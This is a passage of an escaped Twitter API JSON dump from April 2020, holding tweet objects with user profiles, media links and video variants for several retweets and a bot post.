\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1252762554796998658\\\/pu\\\/vid\\\/720x1280\\\/nw1mTLie45M_C6JU.mp4?tag=10\"}]},\"additional_media_info\":{\"monetizable\":false}}]},\"metadata\":{\"iso_language_code\":\"en\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/iphone\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":1220050781593899010,\"id_str\":\"1220050781593899010\",\"name\":\"L.\",\"screen_name\":\"LJJAY7\",\"location\":\"\",\"description\":\"Accomplish the unbelievable \\ud83e\\udd2b IG | @ljaaaayyyy Snap | @ljjaayyyy\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":44,\"friends_count\":50,\"listed_count\":0,\"created_at\":\"Wed Jan 22 18:29:17 +0000 2020\",\"favourites_count\":644,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":493,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1250909737622831104\\\/WnwKXHJ5_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1250909737622831104\\\/WnwKXHJ5_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/1220050781593899010\\\/1587857554\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":1,\"favorite_count\":4,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":true,\"lang\":\"en\"},\"is_quote_status\":false,\"retweet_count\":1,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":true,\"lang\":\"en\"},{\"created_at\":\"Sun Apr 26 00:32:23 +0000 2020\",\"id\":1254206657002954753,\"id_str\":\"1254206657002954753\",\"text\":\"RT @LoudLuxury: THIS IS THE CRAZIEST SHOUTOUT WE\\u2019VE EVER HAD https:\\\/\\\/t.co\\\/S2M6rWuIv9\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"LoudLuxury\",\"name\":\"LOUD LUXURY\",\"id\":636798983,\"id_str\":\"636798983\",\"indices\":[3,14]}],\"urls\":[],\"media\":[{\"id\":1254177914548973568,\"id_str\":\"1254177914548973568\",\"indices\":[61,84],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254177914548973568\\\/pu\\\/img\\\/kJERctvXDVMIEf6V.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254177914548973568\\\/pu\\\/img\\\/kJERctvXDVMIEf6V.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/S2M6rWuIv9\",\"display_url\":\"pic.twitter.com\\\/S2M6rWuIv9\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/LoudLuxury\\\/status\\\/1254177942160109568\\\/video\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":315,\"h\":680,\"resize\":\"fit\"},\"medium\":{\"w\":555,\"h\":1200,\"resize\":\"fit\"},\"large\":{\"w\":592,\"h\":1280,\"resize\":\"fit\"}},\"source_status_id\":1254177942160109568,\"source_status_id_str\":\"1254177942160109568\",\"source_user_id\":636798983,\"source_user_id_str\":\"636798983\"}]},\"extended_entities\":{\"media\":[{\"id\":1254177914548973568,\"id_str\":\"1254177914548973568\",\"indices\":[61,84],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254177914548973568\\\/pu\\\/img\\\/kJERctvXDVMIEf6V.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254177914548973568\\\/pu\\\/img\\\/kJERctvXDVMIEf6V.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/S2M6rWuIv9\",\"display_url\":\"pic.twitter.com\\\/S2M6rWuIv9\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/LoudLuxury\\\/status\\\/1254177942160109568\\\/video\\\/1\",\"type\":\"video\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":315,\"h\":680,\"resize\":\"fit\"},\"medium\":{\"w\":555,\"h\":1200,\"resize\":\"fit\"},\"large\":{\"w\":592,\"h\":1280,\"resize\":\"fit\"}},\"source_status_id\":1254177942160109568,\"source_status_id_str\":\"1254177942160109568\",\"source_user_id\":636798983,\"source_user_id_str\":\"636798983\",\"video_info\":{\"aspect_ratio\":[37,80],\"duration_millis\":4468,\"variants\":[{\"content_type\":\"application\\\/x-mpegURL\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1254177914548973568\\\/pu\\\/pl\\\/x-8n3sLVOeldDD2B.m3u8?tag=10\"},{\"bitrate\":2176000,\"content_type\":\"video\\\/mp4\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1254177914548973568\\\/pu\\\/vid\\\/592x1280\\\/BAC3g6bTrFhYAT2A.mp4?tag=10\"},{\"bitrate\":832000,\"content_type\":\"video\\\/mp4\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1254177914548973568\\\/pu\\\/vid\\\/360x778\\\/CZqGFrt5E9hWIBuF.mp4?tag=10\"},{\"bitrate\":632000,\"content_type\":\"video\\\/mp4\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1254177914548973568\\\/pu\\\/vid\\\/320x690\\\/Fl4K3_fQtPmrOutK.mp4?tag=10\"}]},\"additional_media_info\":{\"monetizable\":false,\"source_user\":{\"id\":636798983,\"id_str\":\"636798983\",\"name\":\"LOUD LUXURY\",\"screen_name\":\"LoudLuxury\",\"location\":\"\",\"description\":\"nights like this \\ud83c\\udf19\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":16239,\"friends_count\":310,\"listed_count\":79,\"created_at\":\"Mon Jul 16 08:12:40 +0000 2012\",\"favourites_count\":24502,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":true,\"statuses_count\":3860,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"000000\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1243387286156226561\\\/tSBhr6o3_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1243387286156226561\\\/tSBhr6o3_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/636798983\\\/1551346510\",\"profile_link_color\":\"ABB8C2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":false,\"has_extended_profile\":false,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"}}}]},\"metadata\":{\"iso_language_code\":\"en\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/android\\\" rel=\\\"nofollow\\\"\\u003eTwitter for Android\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":3222873008,\"id_str\":\"3222873008\",\"name\":\"Breauxs In The City\",\"screen_name\":\"braudsinthecity\",\"location\":\"New Orleans, LA\",\"description\":\"follow us through all our adventures \\ud83d\\ude0e\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":207,\"friends_count\":690,\"listed_count\":2,\"created_at\":\"Fri May 22 02:38:37 +0000 2015\",\"favourites_count\":10409,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":false,\"statuses_count\":515,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"C0DEED\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1167663215091900418\\\/8riZRvQq_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1167663215091900418\\\/8riZRvQq_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/3222873008\\\/1502922748\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Sat Apr 25 22:38:17 +0000 2020\",\"id\":1254177942160109568,\"id_str\":\"1254177942160109568\",\"text\":\"THIS IS THE CRAZIEST SHOUTOUT WE\\u2019VE EVER HAD https:\\\/\\\/t.co\\\/S2M6rWuIv9\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[],\"media\":[{\"id\":1254177914548973568,\"id_str\":\"1254177914548973568\",\"indices\":[45,68],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254177914548973568\\\/pu\\\/img\\\/kJERctvXDVMIEf6V.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254177914548973568\\\/pu\\\/img\\\/kJERctvXDVMIEf6V.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/S2M6rWuIv9\",\"display_url\":\"pic.twitter.com\\\/S2M6rWuIv9\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/LoudLuxury\\\/status\\\/1254177942160109568\\\/video\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":315,\"h\":680,\"resize\":\"fit\"},\"medium\":{\"w\":555,\"h\":1200,\"resize\":\"fit\"},\"large\":{\"w\":592,\"h\":1280,\"resize\":\"fit\"}}}]},\"extended_entities\":{\"media\":[{\"id\":1254177914548973568,\"id_str\":\"1254177914548973568\",\"indices\":[45,68],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254177914548973568\\\/pu\\\/img\\\/kJERctvXDVMIEf6V.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254177914548973568\\\/pu\\\/img\\\/kJERctvXDVMIEf6V.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/S2M6rWuIv9\",\"display_url\":\"pic.twitter.com\\\/S2M6rWuIv9\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/LoudLuxury\\\/status\\\/1254177942160109568\\\/video\\\/1\",\"type\":\"video\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"small\":{\"w\":315,\"h\":680,\"resize\":\"fit\"},\"medium\":{\"w\":555,\"h\":1200,\"resize\":\"fit\"},\"large\":{\"w\":592,\"h\":1280,\"resize\":\"fit\"}},\"video_info\":{\"aspect_ratio\":[37,80],\"duration_millis\":4468,\"variants\":[{\"content_type\":\"application\\\/x-mpegURL\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1254177914548973568\\\/pu\\\/pl\\\/x-8n3sLVOeldDD2B.m3u8?tag=10\"},{\"bitrate\":2176000,\"content_type\":\"video\\\/mp4\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1254177914548973568\\\/pu\\\/vid\\\/592x1280\\\/BAC3g6bTrFhYAT2A.mp4?tag=10\"},{\"bitrate\":832000,\"content_type\":\"video\\\/mp4\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1254177914548973568\\\/pu\\\/vid\\\/360x778\\\/CZqGFrt5E9hWIBuF.mp4?tag=10\"},{\"bitrate\":632000,\"content_type\":\"video\\\/mp4\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1254177914548973568\\\/pu\\\/vid\\\/320x690\\\/Fl4K3_fQtPmrOutK.mp4?tag=10\"}]},\"additional_media_info\":{\"monetizable\":false}}]},\"metadata\":{\"iso_language_code\":\"en\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/download\\\/iphone\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPhone\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":636798983,\"id_str\":\"636798983\",\"name\":\"LOUD LUXURY\",\"screen_name\":\"LoudLuxury\",\"location\":\"\",\"description\":\"nights like this \\ud83c\\udf19\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":16239,\"friends_count\":310,\"listed_count\":79,\"created_at\":\"Mon Jul 16 08:12:40 +0000 2012\",\"favourites_count\":24502,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":true,\"verified\":true,\"statuses_count\":3860,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"000000\",\"profile_background_image_url\":\"http:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_image_url_https\":\"https:\\\/\\\/abs.twimg.com\\\/images\\\/themes\\\/theme1\\\/bg.png\",\"profile_background_tile\":true,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1243387286156226561\\\/tSBhr6o3_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1243387286156226561\\\/tSBhr6o3_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/636798983\\\/1551346510\",\"profile_link_color\":\"ABB8C2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":false,\"has_extended_profile\":false,\"default_profile\":false,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":26,\"favorite_count\":251,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},\"is_quote_status\":false,\"retweet_count\":26,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"en\"},{\"created_at\":\"Sun Apr 26 00:32:23 +0000 2020\",\"id\":1254206656977661953,\"id_str\":\"1254206656977661953\",\"text\":\"https:\\\/\\\/t.co\\\/xQVrNV3BXO #\\u30d8\\u30ca\\u30bf\\u30c8\\u30a5\\u30fc\",\"truncated\":false,\"entities\":{\"hashtags\":[{\"text\":\"\\u30d8\\u30ca\\u30bf\\u30c8\\u30a5\\u30fc\",\"indices\":[24,31]}],\"symbols\":[],\"user_mentions\":[],\"urls\":[{\"url\":\"https:\\\/\\\/t.co\\\/xQVrNV3BXO\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/AntiXxx666\\\/status\\\/678051776164003841\",\"display_url\":\"twitter.com\\\/AntiXxx666\\\/sta\\u2026\",\"indices\":[0,23]}]},\"metadata\":{\"iso_language_code\":\"und\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twittbot.net\\\/\\\" rel=\\\"nofollow\\\"\\u003etwittbot.net\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":4599261734,\"id_str\":\"4599261734\",\"name\":\"\\u30d8\\u30ca\\u30bf\\u30c8\\u30a5\\u30fc\\u753b\\u50cfbot\",\"screen_name\":\"AntiXxx666\",\"location\":\"\",\"description\":\"\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":86,\"friends_count\":30,\"listed_count\":0,\"created_at\":\"Sat Dec 19 02:52:38 +0000 2015\",\"favourites_count\":0,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":28303,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/678047609819295744\\\/-11QfG8W_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/678047609819295744\\\/-11QfG8W_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/4599261734\\\/1450493874\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":true,\"quoted_status_id\":678051776164003841,\"quoted_status_id_str\":\"678051776164003841\",\"quoted_status\":{\"created_at\":\"Sat Dec 19 03:18:35 +0000 2015\",\"id\":678051776164003841,\"id_str\":\"678051776164003841\",\"text\":\"https:\\\/\\\/t.co\\\/BF2Jkyd6qW\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[],\"media\":[{\"id\":678051775409090561,\"id_str\":\"678051775409090561\",\"indices\":[0,23],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/CWjsf0yU8AEDk6b.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/CWjsf0yU8AEDk6b.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/BF2Jkyd6qW\",\"display_url\":\"pic.twitter.com\\\/BF2Jkyd6qW\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/AntiXxx666\\\/status\\\/678051776164003841\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"large\":{\"w\":1024,\"h\":768,\"resize\":\"fit\"},\"medium\":{\"w\":1024,\"h\":768,\"resize\":\"fit\"},\"small\":{\"w\":680,\"h\":510,\"resize\":\"fit\"}}}]},\"extended_entities\":{\"media\":[{\"id\":678051775409090561,\"id_str\":\"678051775409090561\",\"indices\":[0,23],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/media\\\/CWjsf0yU8AEDk6b.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/media\\\/CWjsf0yU8AEDk6b.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/BF2Jkyd6qW\",\"display_url\":\"pic.twitter.com\\\/BF2Jkyd6qW\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/AntiXxx666\\\/status\\\/678051776164003841\\\/photo\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"large\":{\"w\":1024,\"h\":768,\"resize\":\"fit\"},\"medium\":{\"w\":1024,\"h\":768,\"resize\":\"fit\"},\"small\":{\"w\":680,\"h\":510,\"resize\":\"fit\"}}}]},\"metadata\":{\"iso_language_code\":\"und\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\" rel=\\\"nofollow\\\"\\u003eTwitter Web Client\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":4599261734,\"id_str\":\"4599261734\",\"name\":\"\\u30d8\\u30ca\\u30bf\\u30c8\\u30a5\\u30fc\\u753b\\u50cfbot\",\"screen_name\":\"AntiXxx666\",\"location\":\"\",\"description\":\"\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":86,\"friends_count\":30,\"listed_count\":0,\"created_at\":\"Sat Dec 19 02:52:38 +0000 2015\",\"favourites_count\":0,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":28303,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/678047609819295744\\\/-11QfG8W_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/678047609819295744\\\/-11QfG8W_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/4599261734\\\/1450493874\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":false,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"is_quote_status\":false,\"retweet_count\":0,\"favorite_count\":3,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"und\"},\"retweet_count\":0,\"favorite_count\":0,\"favorited\":false,\"retweeted\":false,\"possibly_sensitive\":false,\"lang\":\"und\"},{\"created_at\":\"Sun Apr 26 00:32:23 +0000 2020\",\"id\":1254206656885514247,\"id_str\":\"1254206656885514247\",\"text\":\"RT @joseurbinasv: Despu\\u00e9s de una larga jornada de trabajo en el hospital, Paty ya va para su casa pero deja este mensaje. https:\\\/\\\/t.co\\\/5FNc\\u2026\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[{\"screen_name\":\"joseurbinasv\",\"name\":\"Jos\\u00e9 Urbina\",\"id\":1861130508,\"id_str\":\"1861130508\",\"indices\":[3,16]}],\"urls\":[]},\"metadata\":{\"iso_language_code\":\"es\",\"result_type\":\"recent\"},\"source\":\"\\u003ca href=\\\"http:\\\/\\\/twitter.com\\\/#!\\\/download\\\/ipad\\\" rel=\\\"nofollow\\\"\\u003eTwitter for iPad\\u003c\\\/a\\u003e\",\"in_reply_to_status_id\":null,\"in_reply_to_status_id_str\":null,\"in_reply_to_user_id\":null,\"in_reply_to_user_id_str\":null,\"in_reply_to_screen_name\":null,\"user\":{\"id\":1214634599789289476,\"id_str\":\"1214634599789289476\",\"name\":\"JOSE A RAMIREZ\",\"screen_name\":\"JOSEARA67680956\",\"location\":\"\",\"description\":\"APOYO AL 100% AL PRESIDENTE BUKELE Y SOY GRAN ADMIRADOR DE WALTER ARAUJO, SI LO OFENDEN A EL ME OFENDEN A MI Y FIEL DEFENSOR DE LOS INDEFENSOS ANIMALITOS\",\"url\":null,\"entities\":{\"description\":{\"urls\":[]}},\"protected\":false,\"followers_count\":22,\"friends_count\":41,\"listed_count\":0,\"created_at\":\"Tue Jan 07 19:47:33 +0000 2020\",\"favourites_count\":2971,\"utc_offset\":null,\"time_zone\":null,\"geo_enabled\":false,\"verified\":false,\"statuses_count\":1184,\"lang\":null,\"contributors_enabled\":false,\"is_translator\":false,\"is_translation_enabled\":false,\"profile_background_color\":\"F5F8FA\",\"profile_background_image_url\":null,\"profile_background_image_url_https\":null,\"profile_background_tile\":false,\"profile_image_url\":\"http:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1227436246579978242\\\/XBDTkyeU_normal.jpg\",\"profile_image_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_images\\\/1227436246579978242\\\/XBDTkyeU_normal.jpg\",\"profile_banner_url\":\"https:\\\/\\\/pbs.twimg.com\\\/profile_banners\\\/1214634599789289476\\\/1585688240\",\"profile_link_color\":\"1DA1F2\",\"profile_sidebar_border_color\":\"C0DEED\",\"profile_sidebar_fill_color\":\"DDEEF6\",\"profile_text_color\":\"333333\",\"profile_use_background_image\":true,\"has_extended_profile\":true,\"default_profile\":true,\"default_profile_image\":false,\"following\":false,\"follow_request_sent\":false,\"notifications\":false,\"translator_type\":\"none\"},\"geo\":null,\"coordinates\":null,\"place\":null,\"contributors\":null,\"retweeted_status\":{\"created_at\":\"Sun Apr 26 00:01:01 +0000 2020\",\"id\":1254198763679289344,\"id_str\":\"1254198763679289344\",\"text\":\"Despu\\u00e9s de una larga jornada de trabajo en el hospital, Paty ya va para su casa pero deja este mensaje. https:\\\/\\\/t.co\\\/5FNcy2j3O8\",\"truncated\":false,\"entities\":{\"hashtags\":[],\"symbols\":[],\"user_mentions\":[],\"urls\":[],\"media\":[{\"id\":1254198673417830403,\"id_str\":\"1254198673417830403\",\"indices\":[104,127],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254198673417830403\\\/pu\\\/img\\\/QiEh9MSgM-XZZrf7.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254198673417830403\\\/pu\\\/img\\\/QiEh9MSgM-XZZrf7.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/5FNcy2j3O8\",\"display_url\":\"pic.twitter.com\\\/5FNcy2j3O8\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/joseurbinasv\\\/status\\\/1254198763679289344\\\/video\\\/1\",\"type\":\"photo\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"medium\":{\"w\":1200,\"h\":675,\"resize\":\"fit\"},\"small\":{\"w\":680,\"h\":383,\"resize\":\"fit\"},\"large\":{\"w\":1280,\"h\":720,\"resize\":\"fit\"}}}]},\"extended_entities\":{\"media\":[{\"id\":1254198673417830403,\"id_str\":\"1254198673417830403\",\"indices\":[104,127],\"media_url\":\"http:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254198673417830403\\\/pu\\\/img\\\/QiEh9MSgM-XZZrf7.jpg\",\"media_url_https\":\"https:\\\/\\\/pbs.twimg.com\\\/ext_tw_video_thumb\\\/1254198673417830403\\\/pu\\\/img\\\/QiEh9MSgM-XZZrf7.jpg\",\"url\":\"https:\\\/\\\/t.co\\\/5FNcy2j3O8\",\"display_url\":\"pic.twitter.com\\\/5FNcy2j3O8\",\"expanded_url\":\"https:\\\/\\\/twitter.com\\\/joseurbinasv\\\/status\\\/1254198763679289344\\\/video\\\/1\",\"type\":\"video\",\"sizes\":{\"thumb\":{\"w\":150,\"h\":150,\"resize\":\"crop\"},\"medium\":{\"w\":1200,\"h\":675,\"resize\":\"fit\"},\"small\":{\"w\":680,\"h\":383,\"resize\":\"fit\"},\"large\":{\"w\":1280,\"h\":720,\"resize\":\"fit\"}},\"video_info\":{\"aspect_ratio\":[16,9],\"duration_millis\":27561,\"variants\":[{\"content_type\":\"application\\\/x-mpegURL\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1254198673417830403\\\/pu\\\/pl\\\/I11us3PqI_bgan9c.m3u8?tag=10\"},{\"bitrate\":2176000,\"content_type\":\"video\\\/mp4\",\"url\":\"https:\\\/\\\/video.twimg.com\\\/ext_tw_video\\\/1254198673